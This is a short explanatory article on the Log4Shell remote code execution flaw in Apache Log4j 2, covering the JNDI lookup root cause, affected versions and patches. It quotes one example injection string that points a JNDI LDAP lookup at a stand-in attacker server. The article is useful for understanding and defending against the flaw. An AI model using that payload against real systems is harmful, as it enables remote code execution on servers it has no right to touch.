The Log4j vulnerability, commonly known as Log4Shell (CVE-2021-44228), is a critical remote code execution (RCE) flaw in the Apache Log4j 2 Java logging library, affecting versions 2.0-beta9 through 2.14.1. It allows attackers to execute arbitrary code on vulnerable systems by injecting malicious strings into log messages.
Root Cause of Log4j vulnerability
The core issue stems from Log4j 2’s built-in message lookup substitution feature, which dynamically replaces placeholders in log messages (e.g., ${prefix:name}) with resolved values. One supported prefix is jndi (Java Naming and Directory Interface), an API for looking up and accessing external resources like LDAP servers. In vulnerable versions, Log4j performs these JNDI lookups without adequate safeguards against attacker-controlled endpoints.
• How it works: An attacker crafts a log message containing a malicious placeholder like ${jndi:ldap://attacker-controlled-server/a}, which is processed by Log4j. This triggers a remote lookup to the specified LDAP (or other JNDI-compatible) server. The server can respond with a reference to a malicious Java class, which Log4j deserializes and executes on the victim’s system, leading to RCE.
• Why it’s dangerous: Log messages often include user-controlled input (e.g., HTTP headers, usernames, or form data), making injection straightforward. No authentication is required, and it works over common protocols like LDAP, RMI, DNS, or IIOP.
This design choice—trusting unfiltered user input for remote resource resolution—existed since around 2013 but went unnoticed until late 2021. Later patches (e.g., Log4j 2.15.0 disables JNDI lookups by default; 2.16.0 removes them entirely) mitigate it, but scanning and upgrading affected systems remains essential.